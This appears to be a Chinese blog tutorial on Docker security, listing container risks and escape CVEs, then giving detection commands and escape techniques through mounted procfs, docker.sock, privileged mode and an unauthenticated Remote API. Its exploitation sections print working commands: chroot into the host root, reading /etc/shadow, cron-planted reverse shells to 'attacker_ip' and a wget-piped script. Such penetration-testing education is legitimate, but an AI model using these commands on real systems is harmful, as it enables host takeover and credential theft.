docker安全

Docker基于Linux内核实现,最早是采⽤了 LXC技术,后来Docker⾃⼰研发了 runc 技术。它基于Google Go语⾔实现,采⽤客户端/服务端架构,使⽤API来管理和创建容器。

Docker 容器与虚拟机类似,但二者在原理上不同,容器是将操作系统层虚拟化,虚拟机则是虚拟化硬件,因此容器更具有便携性、高效地利用服务器。相较于虚拟机,docker更加轻量化的同时也可以拥有独立的网络能力(虽然这个网卡是假的)

下图是 Docker 官方给出的架构图,里面包括了 Docker 客户端、Docker 容器所在的宿主机和 Docker 镜像仓库三个部分。

其中宿主机包括了 Docker 守护进程、本地容器和本地镜像,Docker 守护进程(dockerd)的作用是侦听 Docker API 请求和管理 Docker 对象。

docker面临的风险

容器镜像存在的风险

容器镜像是容器运行时的基础,一旦镜像本身存在安全问题,将直接影响容器实例的安全性。

1. 不安全的第三方组件

开发者可能在代码中引入存在漏洞的开源库或组件,例如:

  • 使用存在远程代码执行漏洞的 log4j2;
  • 在 Django 镜像中引用存在已知漏洞的依赖包;

即使业务逻辑本身没有问题,也会因组件漏洞造成安全隐患。

2. 不安全的基础镜像

从公共镜像仓库(如 Docker Hub)下载镜像时,可能误用存在漏洞或包含恶意代码的镜像。使用这类镜像构建容器,会在不知情的情况下引入安全风险。

3. 敏感信息泄露

在镜像打包过程中,开发者可能为了方便调试,将数据库密码、云服务密钥等敏感信息硬编码在配置文件或环境变量中。一旦攻击者获取到镜像文件,这些信息将被轻易暴露。

二、活动中的容器风险

容器在实际运行过程中,配置和行为不当可能会暴露出更多攻击面。

1. 不安全的容器服务
  • 将数据库服务如 MySQL 的 3306 端口映射到公网,但密码设置为弱密码;
  • 映射了存在已知漏洞的 Web 应用端口。

攻击者可以直接通过网络进行扫描与利用。

2. 未受限制的资源占用

容器运行于宿主机上,若未合理配置 CPU、内存、磁盘等资源的上限,攻击者可以通过高资源消耗行为导致宿主机系统资源被耗尽,进而影响其他服务。

3. 不安全的容器配置与挂载

容器隔离能力主要依赖于 Linux 命名空间(Namespace)与控制组(cgroups),但以下配置可能导致隔离失效:

|--------------------|----------------------------|
| 配置项 | 风险描述 |
| --privileged | 容器拥有与宿主机 root 等价的权限,完全打破隔离 |
| --net=host | 容器与宿主机共用网络命名空间,易被监听或干扰 |
| --pid=host | 容器可查看宿主机进程,存在越权访问风险 |
| --volume /:/host | 容器内可访问宿主机全部文件,容易造成系统破坏 |

三、容器管理程序接口的风险

容器引擎(如 Docker)通过守护进程提供 API 接口,若未正确限制访问权限,将成为攻击的突破点。

1. UNIX Socket 相关风险

Docker 守护进程默认通过 /var/run/docker.sock 提供本地通信接口,运行权限为 root:

  • 普通用户提权:若普通用户被加入 Docker 用户组,将有权限操作容器,进而通过特权容器进行提权;
  • 容器内挂载 Socket :将 docker.sock 挂载至容器内部实现容器自管理,若容器被攻破,攻击者可借此控制宿主机容器环境,甚至实现逃逸。
2. TCP Socket 暴露风险

若启用 Docker 的 TCP 监听端口(如 2375),但未设置 TLS 加密与认证机制,攻击者可通过网络远程控制 Docker 引擎,实现容器部署、命令执行等操作。

四、其他风险

1. 容器网络风险

容器之间默认在同一虚拟网络中彼此可达,若某个容器被攻破,攻击者可利用横向扫描等方式尝试入侵其他容器。

2. 宿主机内核漏洞

容器与宿主机共享内核,一旦宿主机内核存在漏洞(如"脏牛"漏洞 CVE-2016-5195),攻击者可能利用容器发起本地提权,实现容器逃逸。

3. 容器引擎自身漏洞

容器引擎如 Docker 也可能存在可被利用的安全漏洞。例如:

  • CVE-2019-5736:通过 runc 覆盖宿主机执行程序,实现容器逃逸;
  • CVE-2019-14271:不安全的模块加载逻辑,允许用户向宿主机注入任意代码。

Docker 逃逸漏洞汇总

在容器安全领域,Docker 逃逸始终是最关键的风险之一。攻击者一旦成功实现容器逃逸,便可突破容器隔离,进而控制宿主机。本节将从漏洞来源角度对已有的 Docker 逃逸漏洞进行分类汇总,后面可能会补充各漏洞的复现与防御实践。

一、Docker 自身漏洞导致的逃逸

这些漏洞多数源自 Docker 引擎或容器运行时(如 runc)存在安全缺陷,攻击者可通过特定方式突破隔离限制。

|------------------|-------------------------------------------------|
| CVE编号 | 简要描述 |
| CVE-2017-1002101 | 特权容器未正确限制,允许访问宿主资源 |
| CVE-2018-1002100 | Kubernetes 中特权容器与 API Server 间未授权访问 |
| CVE-2018-15664 | 文件系统符号链接绕过(symlink time-of-check/time-of-use)漏洞 |
| CVE-2019-14271 | runc 加载用户控制的恶意动态链接库,导致宿主被控制 |
| CVE-2019-1002101 | API 请求未验证身份,允许远程创建容器并访问主机 |
| CVE-2019-11246 | kubectl cp 命令存在目录穿越漏洞 |
| CVE-2019-11249 | kubelet 未充分验证容器日志请求,信息泄露 |
| CVE-2019-11251 | Kubelet API 权限绕过,可注入恶意环境变量 |
| CVE-2019-16884 | Pod 目录被软链接劫持,绕过写入限制 |
| CVE-2019-5736 | runc 覆盖宿主二进制文件,实现容器逃逸(影响极广) |
| CVE-2020-15257 | 容器名称未校验导致命令注入或路径混淆 |
| CVE-2020-27151 | Docker 中不安全的 mount 命令可能被滥用 |
| KATA-ESCAPE-2020 | Kata 容器逃逸漏洞,可直接访问宿主文件系统 |
| CVE-2021-25741 | Kubernetes 中 HostPath 类型未加限制导致越权挂载 |
| CVE-2021-30465 | Docker Compose 安装脚本目录遍历漏洞 |
| CVE-2022-0492 | Linux 安全模块绕过,可在容器内加载内核模块逃逸 |

二、内核漏洞导致的逃逸

由于容器与宿主机共用 Linux 内核,宿主机内核漏洞也可能被容器内的攻击者利用实现提权或逃逸。

|--------------------------|-----------------------------------|
| CVE编号 | 简要描述 |
| CVE-2016-5195(DirtyCow) | 写时复制缺陷导致本地提权,影响范围广泛 |
| CVE-2017-1000112 | netpoll 中 use-after-free,允许任意代码执行 |
| CVE-2020-14386 | 缓冲区溢出,存在控制数据路径导致逃逸可能性 |
| CVE-2021-22555 | 内核 netfilter 漏洞,可在容器内直接获取宿主权限 |
| CVE-2022-0847(DirtyPipe) | 通过管道实现任意文件覆盖,绕过权限校验 |

三、不安全配置导致的逃逸风险

某些容器配置选项本身就存在设计隐患,在攻击者掌控容器后可被用来实现逃逸或操作宿主。

|--------------------------|------------------------------------|
| 配置项 | 风险描述 |
| --privileged容器 | 拥有宿主全部权限,等同于 root shell |
| 挂载 docker.sock | 可直接控制宿主机 Docker 引擎,实现反控 |
| 挂载 /etc目录 | 可读取宿主配置信息甚至篡改服务启动项 |
| 挂载 /proc目录 | 可直接读取宿主机内核状态信息,便于利用 |
| 挂载 /var/log | 可访问宿主日志,可能泄露敏感信息 |
| 添加 cap_dac_read_search | 可越权读取任意文件,便于信息收集与提权 |
| 添加 cap_sys_admin | 被称为"Linux root 权限中的 root",存在大量利用路径 |

四、如何配置实验环境

docker漏洞的复现非常复杂,下载靶场和搭环境耗时很长。https://github.com/Metarget/metarget 这个项目可以帮我们快速搭建docker漏洞所需的环境

五、工具

CDK是⼀款为容器环境定制的渗透测试⼯具,在已攻陷的容器内部提供零依赖的常⽤命令及PoC/EXP。集成Docker/K8s场景特有的 逃逸、横向移动、持久化利⽤⽅式,插件化管理

https://github.com/cdk-team/CDK/wiki/CDK-Home-CN

如何检测该容器有什么逃逸漏洞

判断是否为容器环境

首先对于攻击者而言,需要先判断当前环境是不是容器环境,可以直接使用下面的命令去判断

复制代码
cat /proc/1/cgroup | grep -qi docker && echo "Is Docker" || echo "Not Docker"

1

如果返回 Is Docker,说明当前是 Docker 容器环境,反之亦然

容器逃逸介绍

对于容器逃逸主要有以下三种方法:

  1. 不安全的配置
  2. 相关程序漏洞
  3. 内核漏洞

不安全的配置检测(容器内检测)

1. 检查是否为特权模式(--privileged
复制代码
cat /proc/self/status | grep -qi "0000003fffffffff" && echo "Is privileged mode" || echo "Not privileged mode"
2. 检查是否挂载了 Docker Socket
复制代码
ls /var/run/ | grep -qi docker.sock && echo "Docker Socket is mounted." || echo "Docker Socket is not mounted."
3. 检查是否挂载了宿主机的 procfs
复制代码
find / -name core_pattern 2>/dev/null | wc -l | grep -q 2 && echo "Procfs is mounted." || echo "Procfs is not mounted."
4. 检查是否挂载了宿主机根目录 /
复制代码
find / -name passwd 2>/dev/null | grep /etc/passwd | wc -l | grep -q 7 && echo "Root directory is mounted." || echo "Root directory is not mounted."
5. 检查是否开启了 Docker Remote API(默认 2375 端口,未授权访问风险)
复制代码
IP=`hostname -i | awk -F. '{print $1 "." $2 "." $3 ".1"}'` && timeout 3 bash -c "echo >/dev/tcp/$IP/2375" > /dev/null 2>&1 && echo "Docker Remote API Is Enabled." || echo "Docker Remote API is Closed."

内核版本逃逸漏洞检测(基于内核版本判断是否可能存在漏洞)

1. DirtyCow(CVE-2016-5195)
复制代码
uname -r
# 如果内核版本在 2.6.22 ~ 4.8.3 之间,则可能存在该漏洞
2. CVE-2020-14386
复制代码
uname -r
# 如果内核版本在 4.6 ~ 5.9 之间,则可能存在该漏洞
3. DirtyPipe(CVE-2022-0847)
复制代码
uname -r
# 如果内核版本在以下区间中任一段,则可能存在该漏洞:
# 5.8 <= 版本 < 5.10.102
# 5.15.0 <= 版本 < 5.15.25
# 5.16.0 <= 版本 < 5.16.11

一键检测脚本推荐

项目地址:
https://github.com/teamssix/container-escape-check

在线运行(前提:容器内有 wget
复制代码
wget https://raw.githubusercontent.com/teamssix/container-escape-check/main/container-escape-check.sh -O - | bash
离线运行步骤

大多容器可能没有 wget 命令,因此可以将脚本先克隆到本地,然后上传到容器再执行

  1. 克隆脚本到本地

    git clone https://github.com/teamssix/container-escape-check.git

  2. 上传脚本到容器内

  3. 给脚本加执行权限并运行

    chmod +x container-escape-check.sh
    ./container-escape-check.sh

挂载宿主机 procfs 逃逸

什么是「挂载宿主机 procfs」

在 Linux 中,/proc 是一个伪文件系统(procfs),它映射的是当前系统内核和进程的实时信息,例如:

  • /proc/kallsyms:内核符号表
  • /proc/self/mem:当前进程的内存映射
  • /proc/sysrq-trigger:允许触发内核热键(比如重启)

如果一个 Docker 容器挂载了宿主机的 /proc(也叫 procfs)目录,比如下面这样:

复制代码
docker run -v /proc:/host_proc -it ubuntu /bin/bash

那么容器内的用户就可以通过 /host_proc 目录,访问到宿主机的内核状态和敏感接口,这可能会造成非常严重的逃逸漏洞,尤其是在该容器内默认启用root权限,且没有开启User Namespace时

从 2.6.19 内核版本开始,Linux 支持在 /proc/sys/kernel/core_pattern 中使用新语法。如果该文件中的首个字符是管道符 | ,那么该行的剩余内容将被当作用户空间程序或脚本解释并执行

如何检测是否挂载了宿主机的 procfs?

复制代码
find / -name core_pattern 2>/dev/null | wc -l | grep -q 2 && \
echo "Procfs is mounted." || echo "Procfs is not mounted."

原理是:

  • 宿主机 /proc/sys/kernel/core_pattern 存在;
  • 容器原生路径也存在一个;
  • 总数为 2,说明你可能访问到了宿主机的 /proc

更直接的检测:

复制代码
mount | grep "on /proc"
# 或
ls /host_proc/sysrq-trigger

如何防御?

  1. 禁止挂载宿主机 /proc
    • 宿主机 Dockerfile / docker-compose 中不要挂载 /proc-v /proc:/host_proc 类似内容。
    • 尽量使用 tmpfs 替代方案。
  1. 容器使用非特权模式(默认)
    • 不加 --privileged
    • 限制 cap_sys_admincap_dac_read_search 等危险 Capability。
  1. 使用 AppArmor / seccomp / SELinux 等限制访问
    • 禁止写入 /proc/sysrq-trigger 等高危接口。
    • 可自定义 seccomp profile 限制系统调用。

挂载 Docker Socket 逃逸

Docker 守护进程通过 Unix Socket(通常是 /var/run/docker.sock)提供 API 接口来管理容器。如果你在一个容器里挂载了这个 socket 文件,你就可以像宿主机一样执行 Docker 命令了

比如在容器里运行:

复制代码
docker run -v /:/mnt --rm -it alpine chroot /mnt sh

这就能直接访问并控制宿主机的文件系统

这就叫"挂载 Docker Socket 逃逸" ,利用的是对 docker.sock 的完全控制能力

  • docker.sock 就像宿主机 Docker 守护进程的「遥控器」
  • 如果容器里挂载了它,那就等于你在容器里拥有了宿主机的「Docker 管理员」权限
  • 利用这个权限,你可以在宿主机上启动特权容器,实现提权、读取文件、写入计划任务等等
检测方法(从容器内部)
复制代码
ls /var/run/docker.sock && echo "Docker socket mounted!" || echo "Not mounted"

或者尝试运行:

复制代码
docker ps

能跑说明你有宿主机 Docker 权限

创建一个特权容器逃逸
复制代码
docker run -it --privileged -v /:/host alpine chroot /host sh

注意这个命令是在容器中运行的,它会在宿主机上运行一个特权容器,然后挂载宿主机根目录,你就可以:

复制代码
# 在新容器里运行的命令
cat /etc/shadow         # 查看宿主机敏感文件
echo "evil" > /root/hacked.txt  # 写入宿主机文件

Privileged 特权模式容器逃逸

什么是 Privileged 模式容器?

平常的容器会被限制很多内核能力(capabilities),但只要加了 --privileged 参数,就几乎等同于 root 在宿主机操作了:

复制代码
docker run -it --privileged ubuntu bash
  • 容器获得了所有 capabilities
  • 可以加载内核模块访问设备文件
  • 能访问很多宿主机资源接口(如 /dev**、** /sys**)**

所以这个模式下只要用点技巧,很容易从容器逃逸到宿主机

特权模式逃逸的常见方式

方法一:挂载宿主机磁盘直接 chroot(最简单)
复制代码
mount -t proc proc /mnt/proc
mount --bind / /mnt
chroot /mnt bash

你现在就是宿主机的 root 了

方法二:写计划任务 / SSH 密钥反弹 shell

你可以:

复制代码
echo 'bash -i >& /dev/tcp/attacker_ip/4444 0>&1' > /etc/cron.d/reverse

等计划任务执行就直接反弹了

方法三:加载宿主机模块、访问设备节点
复制代码
modprobe fuse     # 加载 fuse 模块
mknod /dev/sda b 8 0  # 访问宿主磁盘

如果宿主机未限制 cgroup 和设备访问,就可以直接读写磁盘、拷贝 /etc/shadow 等文件了

Docker 远程 API 未授权访问逃逸

什么是 Docker Remote API 未授权访问?

Docker 守护进程默认监听 Unix socket (/var/run/docker.sock),但有些人配置失误或用在测试环境时,把它改成了监听 TCP 端口(比如 2375):

复制代码
dockerd -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock

如果没有加 TLS 认证任何人都能访问它的 API

黑客拿到这个 API 权限之后,就相当于拿到了整台宿主机的 root 权限,可以:

  1. 查看/操作容器
  2. 挂载宿主机目录
  3. 运行特权容器逃逸
  4. 直接读取宿主机文件或执行命令

如何利用

1. 确认远程开放了 Docker API
复制代码
curl http://<目标IP>:2375/containers/json

如果返回一堆 JSON 容器信息,说明没做认证(漏洞存在)!

2. 直接开特权容器
复制代码
docker -H tcp://<目标IP>:2375 run -it --privileged \
  -v /:/mnt alpine chroot /mnt sh

你现在直接开了一台能 chroot 宿主机的容器,相当于控制了宿主机

3. 查看敏感信息 or 反弹 shell
复制代码
cat /etc/shadow
echo "bash -i >& /dev/tcp/attacker_ip/4444 0>&1" >> /etc/crontab

检测命令(容器 or 攻击者主机)

用 Bash 快速检测:

复制代码
IP=$(hostname -I | awk '{print $1}' | sed 's/\.[0-9]*$/.1/')  # 获取网关地址
timeout 3 bash -c "echo >/dev/tcp/$IP/2375" && echo "Docker Remote API Is Enabled." || echo "Closed"

也可以用 nmap

复制代码
nmap -p 2375 --open -Pn <目标IP>

后面有时间了再逐一复现漏洞(其实现在也有时间,就是懒)

相关推荐
临街的小孩12 小时前
Docker 容器内运行 ROS Noetic 图形界面(rqt_image_view)极简教程总结
运维·docker·容器
txg66614 小时前
HgtJIT:基于异构图 Transformer 的即时漏洞检测框架
人工智能·深度学习·安全·transformer
smileNicky16 小时前
Docker 部署 SpringBoot 项目超详细教程
spring boot·docker·容器
zyl8372117 小时前
前端开发网络安全注意事项
安全·web安全
OpenAnolis小助手17 小时前
Anolis OS Linux Dirty Frag 漏洞安全声明
linux·安全·web安全·龙蜥社区
tingting011918 小时前
敏感目录扫描及响应码
安全
智慧医养结合软件开源18 小时前
规范新增·精准赋能,凝聚志愿力量守护老人安康
大数据·安全·百度·微信·云计算
我叫黑大帅20 小时前
基于 Docker + Watchtower 自动化部署后端服务
后端·docker·面试
KKKlucifer20 小时前
数字安全浪潮下国产数据安全企业发展图鉴
大数据·安全
念恒1230620 小时前
Docker(容器技术发展史)
docker·容器